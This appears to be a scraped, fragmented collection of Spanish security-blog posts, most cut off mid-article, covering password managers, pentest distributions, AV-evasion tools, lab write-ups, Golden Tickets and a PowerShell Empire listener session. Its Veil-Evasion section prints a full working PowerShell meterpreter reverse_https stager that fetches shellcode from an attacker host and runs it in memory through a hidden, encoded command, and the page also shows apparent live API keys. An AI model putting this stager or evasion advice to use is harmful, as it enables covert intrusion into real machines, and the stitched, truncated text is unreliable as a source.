Pass, gestiona tus contraseñas desde el terminal

Para los amantes del terminal Unix/Linux tener un gestor de contraseñas desde la línea de comandos es capital y una utilidad sencilla pero que cubre de sobra esta necesidad es pass. Con pass, cada contraseña "vive" dentro de un archivo cifrado gpg cuyo nombre es el título del sitio web o recurso que requiere la contraseña. Estos archivos cifrados pueden organizarse en jerarquías de carpetas, copiarlas de un ordenador a otro y, en general, manipularlas utilizando las herramientas estándar para el regex de archivos.

Pass hace que la administración de estos archivos de contraseñas individuales sea extremadamente fácil. Todas las contraseñas se localizan en ~/.password-store, y pass provee los comandos necesarios para que sea muy fácil agregar, editar, generar y recuperar contraseñas. Vamos a ver cómo instalarlo y las operaciones más comunes aunque os recomiendo echar un vistazo a su correspondiente man aquí o directamente en la consola.

Instalación (Ubuntu/Debian)

$ sudo apt-get install pass

Generar el par de claves GPG

$ gpg --gen-key

gpg: WARNING: unsafe ownership on homedir '/home/vis0r/.gnupg'
gpg (GnuPG) 2.1.15; Copyright (C) 2016 Free Software Foundation, Inc.
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.

Note: Use "gpg --full-gen-key" for a full featured key generation dialog.

GnuPG needs to construct a user ID to identify your key.

Real name: vis0r
Email address: hackplayers@ymail.com
You selected this USER-ID:
    "vis0r "

¿Cuáles son los sistemas operativos más utilizados por los hackers en 2017?

Recientemente leía un artículo en una web (HowToDoAnything) en el que se aventuraban a hacer un listado con el top 10 de los sistemas operativos más utilizados por los hackers en 2017. Y digo "aventuraban" porque algunas de las distribuciones que listan en su artículo estaban discontinuadas pero, sobretodo, porque siempre es difícil hacer este tipo de listados "Top" ya que (que yo sepa) no hay estadísticas oficiales y cada uno tiene sus propios gustos y puede argumentar las razones de por qué la distribución que utiliza es mejor que el resto, algo que siempre es bastante subjetivo.

Me atrevería a decir que Kali hoy en día es la distribución por excelencia y la más utilizada, pero como sabréis existe una gran diversidad de distribuciones enfocadas a la seguridad. Aún así, todos coincidimos en que usamos Linux y prácticamente en el uso de muchas herramientas.

En cualquier caso me parecía un top bastante interesante por lo que quería dejarlo "caer" también por aquí, eso sí añadiendo algunas distribuciones adicionales, ordenándolas por categorías y hasta llegar a una lista bastante amplia. A ver qué opináis y si echáis en falta alguna que otra:

Pentesting

1. Kali Linux

Qué decir a estas alturas de Kali... sin duda el sistema operativo más famoso para pentesting. De los creadores de BackTrack (Offensive Security), se trata de una distribución basada en Debian y que está disponible para muchas plataformas diferentes como VMware, Arm, etc.

2. Parrot Security OS

Este sistema operativo está basado en Debian GNU/Linux mezclado con Frozen box OS y Kali Linux y, con esta combinación, proporciona una excelente experiencia para tests de intrusión y pruebas de seguridad. Tiene muchas características como herramientas personalizadas anti-forense, GPG, crypt...

3. Arch Linux

Arch Linux es el sistema minimalista por excelencia. Sigue el principio KISS (Keep it Simple and Short). Arch Linux utiliza su gestor de paquetes Pacman, que combina paquetes binarios simples con un sistema de compilación de paquetes fácil de usar. Existe además BlackArch que puede usarse de forma independiente o instalarse en el sistema base y viene con numerosas herramientas preinstaladas.

4. BackBox

Back Box es una distribución de Linux basada en Ubuntu. Puede funcionar fácilmente en un dispositivo de bajo rendimiento y se ha desarrollado específicamente para realizar pruebas de intrusión y auditorías de seguridad. La nueva versión cuenta con funciones interesantes que incluyen análisis forense, documentación y generación de informes e ingeniería inversa.

5. Samurai Web Testing Framework

Samurai Web Testing Framework es una distro live que ha sido preconfigurada para funcionar como un entorno de prueba de pentesting web. Incluye muchas herramientas esenciales como WebScarab, rat proxy, w3af, Burp Suite y BeEF.

Spoilerwall, devuelve un spoiler de una película por cada puerto escaneado

Shodan, Censys, Scans.io, NetDB.io, ZMap, ... hoy en día son muchos los servicios y herramientas que escanean (y etiquetan) continuamente y de forma indiscriminada todas las IPs en Internet. Pero, ¿y si troleáramos a estos escáneres abriendo puertos TCP que no contienen realmente ningún servicio? Y aumentando la mala baba a nivel Dios... ¿si cada servicio escaneado además devolviera un banner "spoileando" el final de una película?

Pues hace días Infobyte LLC nos sorprendía publicando en su Github una pequeña herramienta en Python que precisamente hace eso: Spoilerwall. Una utilidad que simplemente levanta un servidor web (SocketServer) en un puerto especificado y devuelve de forma aleatoria un texto contenido en un fichero json (el spoiler). Luego y normalmente mediante iptables tendremos que redireccionar el puerto o puertos que consideremos para que, a la hora de que nos escaneen la máquina,  devuelva el banner de turno. Simple evil.. xD

Para probarlo, lo primero que tenemos que hacer -por supuesto- es clonar el repositorio:

$ git clone https://github.com/infobyte/spoilerwall.git

Luego editar el archivo server-spoiler.py y configurar las variables HOST y PORT, y ejecutar el servidor:

$ python2 server-spoiler.py

Ahora que tenemos el servidor corriendo, por defecto en el puerto 8080, tendremos que redireccionar todo el tráfico TCP entrante hacia el mismo:

$ sudo iptables -A PREROUTING -t nat -i eth0 -p tcp --dport 1:65535 -j DNAT --to-destination {HOST}:{PORT}

Si el tráfico está redireccionado a localhost tendremos que ejecutar:

$ sudo sysctl -w net.ipv4.conf.eth0.route_localnet=1

Finalmente, con esta configuración, si escanean cualquier puerto, un "simpático" banner será devuelto:


También podéis ver un ejemplo desde Shodan (cuidado con los spoilers) en:

https://www.shodan.io/host/138.197.196.144

Ten cuidado en tu próximo CTF - nunca sabes cuando aparecerá un spoiler! 

Githubhttps://github.com/infobyte/spoilerwall

Errores de Wannacry que pueden ayudar a recuperar archivos después de la infección

A veces los desarrolladores de ransomware cometen errores de programación. Estos errores pueden ayudar a las víctimas a recuperar el acceso a sus archivos originales después de una infección (por supuesto, nos referimos sin necesidad de pagar). Uno de los mejores ejemplos, lo tenéis en un artículo de Kapersky del pasado 1 de junio en el que publicaban una breve descripción de varios errores en el desarrollo de, casi con total seguridad, el ransomware más famoso hasta la fecha: Wannacry.

Errores en la lógica del borrado de archivos

Cuando Wannacry cifra los archivos de su víctima, lee desde el archivo original, cifra el contenido y lo guarda en el archivo con la extensión ".WNCRYT". Después del cidfrado mueve ".WNCRYT" a ".WNCRY" y elimina el archivo original. Esta lógica de borrado puede variar dependiendo de la ubicación y las propiedades de los archivos de la víctima.

Archivos que se encuentran en la unidad del sistema:

Si el archivo se encuentra en una carpeta "importante" (desde el punto de vista de los desarrolladores de programas maliciosos, por ejemplo, Escritorio y Documentos), el archivo original se sobrescribirá con datos aleatorios antes de su eliminación. En este caso, por desgracia, no hay forma de restaurar el contenido del archivo original.


Si el archivo se almacena fuera de carpetas "importantes", el archivo original se moverá a %TEMP%\%d.WNCRYT (donde %d es un valor numérico). Estos archivos contienen los datos originales y no se sobrescriben, simplemente se eliminan del disco, lo que significa que existen muchas posibilidades de que se puedan restaurar con algún software de recuperación de datos.

Detenido por correr un nodo de salida Tor en casa


El 6 de Abril arrestaron y desde el día 10 está detenido Dmitry Bogatov, acusado de haber publicado comentarios extremistas en sysadmins.ru.

Dmitry llevaba tiempo administrando un nodo de salida Tor desde su casa, que servía de salida a Internet a los usuarios que se conectaban a la cebolla.

Al venir los comentarios de su dirección IP las autoridades le atribuyen a él los comentarios, a pesar de que:
  1. Dmitry estaba en el gimnasio con su mujer cuando se publicaron los comentarios.
  2. El autor de los comentarios había escrito desde más de 100 IPs diferentes de distintas partes del mundo.
  3. El autor de los comentarios sigue teniendo actividad en la red, mientras Bogatov está en la cárcel. Admitió públicamente que utiliza Tor.

¿Pretenden responsabilizar al administrador del nodo de salida la actividad proveniente de la red Tor? Eso nos dejaría exentos de cualquier culpa de lo que hagamos a través de Tor... Pero nos irá dejando sin nodos de salida poco a poco...

Yo me acabo de enterar hace poco, pero ésto ya ocurrió hace casi 3 meses y es gravísimo.


Contribución gracias a 'elvecinodeabajo'

Repositorios en Github de la NSA

Algunos no lo saben pero, desde no hace mucho tiempo, la NSA tiene publicado un buen número de repositorios de Github con varias guías y variadas herramientas con su correspondiente código fuente. No tan interesantes como las que liberó ShadowBrokers *zasca* pero muchas que merece la pena revisar.

Sí amigos, ver para creer, la Agencia de Inteligencia (probablemente) más poderosa del mundo haciendo un ejercicio de desarrollo colaborativo, casi me emociono. Y es que, como ellos mismos rezan, el Software de Código Abierto u OSS invita al desarrollo cooperativo de la tecnología, fomentando su uso y adopción. El público se beneficia adoptando, mejorando, adaptando o comercializando el software y el Gobierno de los Estados Unidos se beneficia de las mejoras de la Comunidad. Menos da una piedra señores...

La razón fundamental de este "altruismo" se enmarca dentro del Programa de Transferencia de Tecnología de la NSA (TTP) que trabaja con innovadores de agencias que desean usar este modelo colaborativo para transferir su tecnología al mercado comercial.

Algunos de los proyectos más interesantes que podemos encontrar son:

- AppLocker Guidance: guía para implementar listas blancas de aplicaciones en AppLocker
- Certificate Authority Situational Awareness (CASA): una sencilla herramienta que identifica certificados de CAs sospechosas en equipos Windows
- Control Flow Integrity: una técnica basada en hardware para prevenir exploits de corrupción de memoria
- Event Forwarding Guidance: Guía de configuración para implementar la recopilación de eventos de Windows
- goSecure: una VPN portable y fácil de usar para Linux y Raspberry Pi
- GRASSMARLIN: Proporciona un conocimiento de la situación de la red IP de las redes ICS y SCADA para respaldar la seguridad de la red
- OpenAttestation: Un proyecto para recuperar y verificar la integridad del sistema de forma remota usando Trusted Platform Module (TPM)
- Pass-the-Hash Guidance: Guía para implementar mitigaciones para Pass-the-hash
- RedhawkSDR: Es un framework de radio definido por software (SDR) que proporciona herramientas para desarrollar, implementar y administrar aplicaciones de radio de software en tiempo real.
- OZONE Widget Framework (OWF): Es básicamente una aplicación web, que se ejecuta en su navegador, permite a los usuarios crear widgets ligeros y acceder fácilmente a todas sus herramientas de forma online
...

y así hasta 32 repositorios (y creciendo) que la NSA ha puesto (esta vez sí voluntariamente) y que podéis encontrar repartidos en cualquier de sus dos URLs en Github:

1. Information Assurance by NSA: https://github.com/iadgov
2. National Security Agency: https://github.com/nationalsecurityagency

Backdoors en imágenes gracias a BMPs y una lupa

Después de un tiempo de desconexión con motivo de exámenes y demás, hoy vuelvo para hablaros de un tema bastante útil a la par que peligroso...

Muchos nos hemos dedicado a darle cientos de vueltas a la cabeza para conseguir ejecutar malware sin ser frenados por la multitud de antivirus que hay en el mercado, para ello hay algunas herramientas como AVET, comentada anteriormente por estos lares, que nos facilitan cantidad el proceso de evasión de AVs, pero debemos saber que estas herramientas no son infalibles.

Normalmente nada más ser publicadas funcionan bastante bien, pero con el paso del tiempo sus mecanismos de evasión acaban siendo detectados por los antivirus y acaban quedando inservibles...

A parte de estas herramientas para evadir a los antivirus, puede haber otras maneras de crear backdoors indetectables o incluso distintos métodos de propagación de malware que no son muy utilizados en la actualidad como el que vengo hoy a tratar.

Seguramente casi nadie (por no decir nadie) os habréis fijado bien si hay algo raro en la imagen de cabecera del post, ¿no veis nada raro?, ampliarla un poquito más, ¿seguís sin verlo?, os daré un pista, haced zoom a la parte inferior izquierda de la imagen... Bueno, como podéis observar, aparece una tira de pixels de diferentes colores, los cuales no concuerdan con la imagen original, pues en esa tira de pixels se encuentra nuestra futura sesión de meterpreter, o mejor dicho, nuestro querido backdoor.

AQUATONE, más que una herramienta de descubrimiento de subdominios

AQUATONE del alemán Michael Henriksen es un conjunto de herramientas escritas en Ruby para realizar reconocimientos de nombres de dominio. Puede descubrir subdominios usando fuentes abiertas o mediante fuerza bruta usando un diccionario. Después del descubrimiento de subdominios, AQUATONE puede escanear los hosts para identificar puertos web comunes. Además puede reunir y consolidar en un informe los encabezados HTTP, cuerpos HTML y capturas de pantalla para un análisis rápido de la superficie de ataque.

La instalación es muy sencilla, sólo tenemos que descargar o clonar el repositorio en Github:

$ git clone https://github.com/michenriksen/aquatone.git

Instalar las gemas:

$ gem install aquatone

Y añadir nuestras keys de las APIs de Shodan y Virustotal:

$ aquatone-discover --set-key shodan o1hyw8pv59vSVjrZU3Qaz6ZQqgM91ihQ
$ aquatone-discover --set-key virustotal 132d0h354bd538656ek435876567b1g757945342347654as548f3264a8724g19


Luego, para mayor flexibilidad, AQUATONE se divide en tres comandos, según queramos o no descubrir subdominios, escanear los hosts y/o obtener información de los servicios (gathering), cada una representando distintas fases que vemos a continuación:

Fase 1: descubrimiento (aquatone-discover)

Lo primero que hace AQUATONE es consultar los DNS con la autoridad para el dominio objetivo. De esta manera se asegura que la información obtenida está actualizada. Luego hace una prueba rápida para ver si el dominio de destino está configurado para ser un dominio wildcard, si lo es, identificará las posibles respuestas wildcard y las filtrará. Posteriormente, procede a preguntar a cada módulo de para recopilar los subdominios:

- Diccionario brute force (ver diccionario aquí)
- DNSDB.orghttp://dnsdb.org/
- Informe de Transparencia de Google
- HackerTarget
- Netcraft
- Shodan (requiere clave de API)
- ThreatCrowd
- VirusTotal (requiere clave de API)

El comando básico es el siguiente:

$ aquatone-discover --domain example.com

Por defecto tirará 5 hilos, si queremos aumentar el número para que vaya más rápido podemos usar el parámetro --threads:

$ aquatone-discover --domain example.com --threads 25

Si por el contrario no queremos hacer mucho ruido podemos espaciar cada consulta DNS cada el número de segundos que especifiquemos con --sleep y un retardo variable con --jitter para evadir posibles IDS:

$ aquatone-discover --domain example.com --sleep 5 --jitter 30

AQUATONE descubre los servidores DNS que resuelven los nombres de dominio objetivo y reparte las consultas entre ellos. Si las consultas hacia estos DNS fallan por defecto realizará las consultas a los DNS de Google para maximizar los resultados. Podemos especificar también otros DNS de "reserva" con:

$ aquatone-discover --domain example.com --fallback-nameservers 87.98.175.85,5.9.49.12


Una vez finalizado el descubrimiento de dominios y subdominios los resultados se almacenarán en el fichero hosts.txt y hosts.json para facilitar el parseo.

AVET (AntiVirus Evasion Tool)

Ya sabéis que cuando se ejecuta un archivo exe hecho con msfpayload y cía, el archivo exe normalmente es detectado por el AV...

AVET (AntiVirus Evasion Tool) es una herramienta de Daniel Sauder (aka govolution) que permite experimentar con distintas técnicas de evasión de antivirus. Antes de continuar, os recomiendo echar un vistazo a las presentaciones de su autor https://govolutionde.files.wordpress.com/2014/05/avevasion_pentestmag.pdf y https://deepsec.net/docs/Slides/2014 /Why_Antivirus_Fails_-_Daniel_Sauder.pdf.

Las principales características de AVET son:

- su objetivo son las máquinas de Windows mediante archivos ejecutables
- en la última versión 1.1 se pueden usar payloads de 64 bits
- puede utilizar shellcodes en ensamblador
- se puede utilizar make_avet para configurar el código fuente
- con make_avet se pueden cargar códigos codificados en ASCII desde un archivo de texto o desde un servidor web, además usa una técnica de evasión de AV para evitar el sandboxing y la emulación
- para la codificación ASCII del shellcode se incluye la herramienta format.sh y sh_format

La herramienta se ha probado en Kali 2 (64 bits) y necesita tdm-gcc. Para instalar tdm-gcc visitar https://govolution.wordpress.com/2017/02/04/using-tdm-gcc-with-kali-2/, aunque tampoco tiene mucho misterio:

- Descarga el ejecutable correspondiente en https://sourceforge.net/projects/tdm-gcc/
- Instala con # wine tdm64-gcc-5.1.0-2.exe

Diseccionando bee-box (OWASP bWAPP VM) v1.6 - Inyección HTML

bWAPP (buggy Web APPlication) es una aplicación web deliberadamente vulnerable para que podamos practicar explotando un buen número de vulnerabilidades. Ya la descubrimos en el blog hace tres años y recibió su última actualización en noviembre del año pasado.

Lo que os traemos hoy es un writeup de los primeros ejercicios sobre inyección HTML, gracias al 'elvecinodeabajo' (bonito nick).


HTML Injection - Reflected (GET)
http://beebox/bWAPP/htmli_get.php

Los valores proporcionados a través de "firstname" y "lastname" en la consulta GET se reflejan en la página de saludo.

    http://beebox/bWAPP/htmli_get.php?firstname=Speedy&lastname=Gonzales&form=submit
    <div id="main">
        <h1>HTML Injection - Reflected (GET)</h1>
        <p>Enter your first and last name:</p>
        <form action="/bWAPP/htmli_get.php" method="GET">
            <p><label for="firstname">First name:</label><br />
            <input type="text" id="firstname" name="firstname"></p>
            <p><label for="lastname">Last name:</label><br />
            <input type="text" id="lastname" name="lastname"></p>
            <button type="submit" name="form" value="submit">Go</button>  
        </form>
        <br />
        Welcome Speedy Gonzales
    </div>

Si jugamos un poco podemos ver que las etiquetas HTML no se filtran y se reflejan tal cual en la página de resultado.

    http://beebox/bWAPP/htmli_get.php?firstname=%3Ch1%3ESpeedy%3C%2Fh1%3E&lastname=%3Ch2%3EGonzales%3C%2Fh2%3E&form=submit
    <div id="main">
        <h1>HTML Injection - Reflected (GET)</h1>
        <p>Enter your first and last name:</p>
        <form action="/bWAPP/htmli_get.php" method="GET">
            <p><label for="firstname">First name:</label><br />
            <input type="text" id="firstname" name="firstname"></p>
            <p><label for="lastname">Last name:</label><br />
            <input type="text" id="lastname" name="lastname"></p>
            <button type="submit" name="form" value="submit">Go</button>  
        </form>
        <br />
        Welcome <h1>Speedy</h1> <h2>Gonzales</h2>
    </div>

[Pentesterlab write-up] Web For Pentester II - Authorization & Mass Assignment

Continuamos con dos bloques más del lab 'Web for Pentester II',  esta vez con ejercicios para:

- explotar malas implementaciones en el esquema de autorización del aplicativo, que permiten acceder a información (URLs) que debería estar restringida, al menos sin previa autenticación.

- manipular registros de la aplicación para modificar elementos a los que el usuario normalmente no debería tener acceso, como contraseñas, permisos o roles. Es lo que se conoce como Mass Assignment.

Como veréis estos ejercicios son bastante sencillitos (quizás demasiado) y no requieren apenas esfuerzo, pero os recomiendo echarle al menos un vistazo rápido.


AUTHORIZATION

Ejercicio 1:

El primero ejemplo es un fallo común en el desarrollo web, el desarrollador creó la página de inicio de sesión pero no bloqueó las páginas que tienen información sensible a través de cookies u otros tokens de seguridad, esto significa que cualquiera que sepa la ruta (o la obtenga mediante un crawling o fuzzing de directorios) puede acceder sin autenticación.

http://vulnerable/authorization/example1



En esta ocasión no hace falta ni tirarle un wfuzz o un dirb, la URL es totalmente predecible:

http://vulnerable/authorization/example1/infos/2

Veil a través de custom proxies

Cuando generamos payloads en Veil-Evasion tenemos la posibilidad de indicar que la sesión de Meterpreter se realice a través del proxy configurado en el sistema. Pero, ¿y si el equipo de la víctima, normalmente un servidor, no tiene configurado ninguno (que en entornos reales suele ser lo normal) o simplemente queremos configurar que nuestro payload utilice otro proxy distinto?

No hay problema, mediante una sencilla modificación en los payloads podemos setear el proxy que queramos, incluso con autenticación.

A continuación os dejo un ejemplo para el payload en Powershell. Para ello copiamos primero el original:

./Veil-Evasion/modules/payloads/powershell/meterpreter# cp rev_https.py rev_https_ori.py

Y modificamos rev_https.py sustituyendo el código por este:
"""

Custom-written pure powershell meterpreter/reverse_https stager.

Module by @harmj0y
Custom proxy support added by @CuriositySec

"""

from modules.common import helpers


class Payload:

    def __init__(self):
        # required options
        self.description = "pure windows/meterpreter/reverse_https stager, no shellcode"
        self.rating = "Excellent"
        self.language = "powershell"
        self.extension = "bat"

        # optional
        self.required_options = {
                                    "LHOST" : ["", "IP of the Metasploit handler"],
                                    "LPORT" : ["443", "Port of the Metasploit handler"],
                                    "PROXY" : ["N", "S=Use system proxy settings, C=Custom proxy without authentication, A=Custom proxy authentication domain"],
                                    "PROXY_HOST" : ["http://127.0.0.1:8080", "Custom Proxy"],
                                    "PROXY_USER" : ["User1", "User domain"],
                                    "PROXY_PASSWORD" : ["123456", "Password domain"],
                                    "PROXY_DOMAIN" : ["CORP", "Domain user"],
                                    "STAGERURILENGTH" : ["4", "The URI length for the stager (at least 4 chars)."],
                                    "LURI" : ["/","The HTTP path to prepend to the listener. Ex: http://attacker:port/[LURI]"],
                                    "USER_AGENT" : ["Mozilla/4.0 (compatible; MSIE 6.1; Windows NT)", "The User-Agent header to send with the initial stager request"]
                                }


    def generate(self):
        if self.required_options["PROXY"][0] == "S":
                proxyString = "$pr = [System.Net.WebRequest]::GetSystemWebProxy();$pr.Credentials=[System.Net.CredentialCache]::DefaultCredentials;$m.proxy=$pr;$m.UseDefaultCredentials=$true;"
        elif self.required_options["PROXY"][0] == "C":
                proxyString = "$pr = New-Object System.Net.WebProxy(\'"+self.required_options["PROXY_HOST"][0]+"\',$true);$m.proxy=$pr;"
        elif self.required_options["PROXY"][0] == "A":
                protocol,ip,port = self.required_options["PROXY_HOST"][0].split(":")
                proxyString = "$pr = New-Object System.Net.WebProxy(\'"+self.required_options["PROXY_HOST"][0]+"\',$true);$c = New-Object Net.NetworkCredential(\'"+self.required_options["PROXY_USER"][0]+"\',\'"+self.required_options["PROXY_PASSWORD"][0]+"\',\'"+self.required_options["PROXY_DOMAIN"][0]+"\');$c = $c.GetCredential(\'"+protocol+":"+ip+"\',\'"+port+"\', \'KERBEROS\');$pr.Credentials = $c;$m.proxy=$pr;"
        
        baseString = """$q = @"
[DllImport("kernel32.dll")] public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
[DllImport("kernel32.dll")] public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
"@
try{$d = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789".ToCharArray()
function c($v){ return (([int[]] $v.ToCharArray() | Measure-Object -Sum).Sum %% 0x100 -eq 92)}
function t {$f = "";1..%i|foreach-object{$f+= $d[(get-random -maximum $d.Length)]};return $f;}
function e { process {[array]$x = $x + $_}; end {$x | sort-object {(new-object Random).next()}}}
function g{ for ($i=0;$i -lt 64;$i++){$h = t;$k = $d | e;  foreach ($l in $k){$s = $h + $l; if (c($s)) { return $s }}}return "9vXU";}
[Net.ServicePointManager]::ServerCertificateValidationCallback = {$true};$m = New-Object System.Net.WebClient;%s
$m.Headers.Add("user-agent", "%s");$n = g; [Byte[]] $p = $m.DownloadData("https://%s:%s/%s$n" )
$o = Add-Type -memberDefinition $q -Name "Win32" -namespace Win32Functions -passthru
$x=$o::VirtualAlloc(0,$p.Length,0x3000,0x40);[System.Runtime.InteropServices.Marshal]::Copy($p, 0, [IntPtr]($x.ToInt32()), $p.Length)
$o::CreateThread(0,0,$x,0,0,0) | out-null; Start-Sleep -Second 86400}catch{}""" %((int(self.required_options["STAGERURILENGTH"][0])-1),
                                                                              "" if self.required_options["PROXY"][0] == "N" else proxyString,
                                                                              self.required_options["USER_AGENT"][0],
                                                                              self.required_options["LHOST"][0],
                                                                              self.required_options["LPORT"][0],
                                                                              "" if self.required_options["LURI"][0] == "/" else "%s/" % self.required_options["LURI"][0])
        encoded = helpers.deflate(baseString)
        payloadCode = "@echo off\n"
        payloadCode += "if %PROCESSOR_ARCHITECTURE%==x86 ("
        payloadCode += "powershell.exe -NoP -NonI -W Hidden -Exec Bypass -Command \"Invoke-Expression $(New-Object IO.StreamReader ($(New-Object IO.Compression.DeflateStream ($(New-Object IO.MemoryStream (,$([Convert]::FromBase64String(\\\"%s\\\")))), [IO.Compression.CompressionMode]::Decompress)), [Text.Encoding]::ASCII)).ReadToEnd();\"" % (encoded)
        payloadCode += ") else ("
        payloadCode += "%%WinDir%%\\syswow64\\windowspowershell\\v1.0\\powershell.exe -NoP -NonI -W Hidden -Exec Bypass -Command \"Invoke-Expression $(New-Object IO.StreamReader ($(New-Object IO.Compression.DeflateStream ($(New-Object IO.MemoryStream (,$([Convert]::FromBase64String(\\\"%s\\\")))), [IO.Compression.CompressionMode]::Decompress)), [Text.Encoding]::ASCII)).ReadToEnd();\")" % (encoded)

        return payloadCode

Pivotando con Golden Tickets en Linux

Ya sabéis que el protocolo Kerberos es el mecanismo preferido para la autenticación en un entorno Windows basado en dominio (DA). Sin entrar en detalle, Kerberos utiliza los tickets conocidos como TGT (Ticket-Granting Ticket) que entrega el KDC (Key Distribution Center) para autenticar usuarios y conceder acceso a cualquier recurso de la red.

Por otro lado, la cuenta KRBTGT se utiliza para cifrar y firmar todos los tickets Kerberos dentro de un dominio y los KDC (normalmente controladores de dominio) utilizan la contraseña de la cuenta para descifrar los tickets Kerberos para su validación. Esta contraseña de cuenta nunca cambia y el nombre de cuenta es el mismo en todos los dominios, por lo que es un objetivo bien conocido para los atacantes.

Si un atacante obtiene el hash de esa cuenta KRBTGT, podrá generar los conocidos Golden Tickets, y entonces podrá impersonar a cualquier usuario y establecer cualquier acceso autenticado persistente y encubierto en el dominio de Windows.

Mimikatz, que desde la versión 2.0 implementa esta técnica, permite crear estos tickets de forma offline con una validez por defecto de 10 años, que pueden ser reusados mediante pass-the-ticket y serán válidos incluso aunque el usuario impersonado cambie la contraseña. La única manera de invalidarlos sería resetear la contraseña utilizada para generar el TGT.

A finales del año pasado, en el blog de Artem Kondratenko, veíamos un pequeño pero útil tutorial para pivotar mediante estos Golden tickets en Linux. El ataque, por lo general, funciona de la siguiente manera:

- El atacante obtiene privilegios de administrador en el dominio
- El atacante extrae el hash ntlm de un usuario de dominio "krbtgt" y obtiene el SID del dominio de destino
- El atacante compone un ticket de kerberos
- Este ticket se utiliza para autenticar en el dominio con privilegios de administrador de dominio

Aquí está un walkthough detallado en cómo utilizar los Golden tickets en Kali Linux.

hackerbot: chatea y "hackea" con tu asistente personal

Redes sociales, equipos para CTFs, comunidades, foros... hoy en día es muy raro encontrarse hackers que sean "lobos solitarios", así que el estereotipo "Forever Alone" que los sitúa como frikis que se aislan entorno al PC de su escritorio dista mucho de la realidad...

No obstante, ¿a quién no le gustaría tener (y controlar?) a un asistente ro-bot que te ayude durante un pentest? Sería algo así como comunicarte con Madre a bordo del Nostromo pero como un ayudante que te guía y te da las técnicas y herramientas de hacking necesarias para realizar un intrusión.



Bueno, pues ya tenemos un primer y tímido intento de desarrollar un bot con el que poder chatear tranquilamente y colaborar mientras haces un trabajito. Se trata de hackerbot de Ömer Günal que combina un chatbot con Python AIML y varios módulos con distintas herramientas y utilidades.

Instalación

git clone https://github.com/omergunal/hackerbot
cd hackerbot
chmod +x install.sh
./install.sh


Uso

Python v2.7 requerido

python hackbot.py

argumentos en el chat:
   !help          show what you can do




Como veis es un principio, pero podría ser la piedra de toque para incluir nuevos módulos y tener un verdadero y complejo colega virtual y, quién sabe, algún día decirle "Jeffrey, veme hackeando la NSA que voy un momento a tirar la basura".

Github: https://github.com/omergunal/hackerbot

StartFighters: un launcher de Empire en js/vbs sin necesidad de PowerShell.exe

Siguiendo el hilo de entradas sobre PowerShell hoy traemos StartFighters, un Launcher de Empire en VBScript/Javascript que se ejecuta dentro de su propio Host de PowerShell, embebido en JavaScript mediante DotNetToJScript. Y es que si hace varios días veíamos cómo ejecutar PowerShell sólo con dlls, mediante rundll32, con esta herramienta podremos también ejecutar un agente de Empire sin powershell.exe, sólo ejecutando un script en vbs o js.

Recordemos que el launcher_vbs que trae por defecto Empire llama al stager con powershell.exe -NoP -sta -NonI -W Hidden -Enc ... así que está herramienta puede resultarnos bastante útil en algunos entornos...

1. Para probarla empezaremos levantando un listener en PowerShell Empire (en nuestro caso el mod de Hackplayers).
root@poc1lg4:/tools/powershell/Empire-mod-Hackplayers# ./empire 
[*] Loading modules from: /tools/powershell/Empire-mod-Hackplayers/lib/modules/

====================================================================================
 Empire: PowerShell post-exploitation agent | [Version]: 2.0 Mod: HackPlayers 
====================================================================================
 [Web]: https://www.PowerShellEmpire.com/ | [Twitter]: @harmj0y, @sixdub, @enigma0x3
====================================================================================
 __    __       ___       ______  __  ___                
|  |  |  |     /   \     /      ||  |/  /                
|  |__|  |    /  ^  \   |  ,----'|  '  /                 
|   __   |   /  /_\  \  |  |     |    <                  
|  |  |  |  /  _____  \ |  `----.|  .  \                 
|__|  |__| /__/     \__\ \______||__|\__\                
 _______ .___  ___. .______    __  .______       _______ 
|   ____||   \/   | |   _  \  |  | |   _  \     |   ____|
|  |__   |  \  /  | |  |_)  | |  | |  |_)  |    |  |__   
|   __|  |  |\/|  | |   ___/  |  | |      /     |   __|  
|  |____ |  |  |  | |  |      |  | |  |\  \----.|  |____ 
|_______||__|  |__| | _|      |__| | _| `._____||_______|  Mod: HackPlayers

       209 modules currently loaded
       0 listeners currently active
       0 agents currently active

(Empire) > listeners
[!] No listeners currently active 

(Empire: listeners) > set Host http://192.168.1.180:8888
(Empire: listeners) > options

Listener Options:

  Name              Required    Value                            Description
  ----              --------    -------                          -----------
  KillDate          False                                        Date for the listener to exit (MM/dd/yyyy).
  Name              True        test                             Listener name.
  DefaultLostLimit  True        60                               Number of missed checkins before exiting
  StagingKey        True        5\kp|M/&,Kedl$Cj+YA~V6JB*Z4wo}uq Staging key for initial agent negotiation.
  Type              True        native                           Listener type (native, pivot, hop, foreign, meter).
  RedirectTarget    False                                        Listener target to redirect to for pivot/hop.
  DefaultDelay      True        5                                Agent delay/reach back interval (in seconds).
  WorkingHours      False                                        Hours for the agent to operate (09:00-17:00).
  Host              True        http://192.168.1.180:8888        Hostname/IP for staging.
  CertPath          False                                        Certificate path for https listeners.
  DefaultJitter     True        0.0                              Jitter in agent reachback interval (0.0-1.0).
  DefaultProfile    True        /admin/get.php,/news.asp,/login/ Default communication profile for the agent.
                                process.jsp|Mozilla/5.0 (Windows
                                NT 6.1; WOW64; Trident/7.0;
                                rv:11.0) like Gecko
  Port              True        8888                             Port for the listener.

(Empire: listeners) > execute
[*] Listener 'test' successfully started.
(Empire: listeners) > list

[*] Active listeners:

  ID    Name              Host                                 Type      Delay/Jitter   KillDate    Redirect Target
  --    ----              ----                                 -------   ------------   --------    ---------------
  1     test              http://192.168.1.180:8888            native    5/0.0

Recupera todo el historial de comandos con Get-ShellContent

Ya lo hemos hablado más veces y es que el malware basado en lenguajes de scripting como PowerShell o Python está aumentando exponencialmente debido fundamentalmente a que:
- el intérprete está instalado por defecto en el sistema operativo
- son difíciles de detectar porque se basan en herramientas legítimas para realizar actividad maliciosa
- pueden existir sólo en memoria

En el caso de M$, desde Windows 7 y posteriores el proceso conhost.exe es el responsable de abrir cada instancia de una consola de comandos. Es decir, por cada consola se abrirá un nuevo proceso conhost, así que dumpeando esos procesos podremos obtener la entrada y la salida de cada aplicación que es llamada desde la línea de comandos con PowerShell, CMD, Python, Wscript, etc.


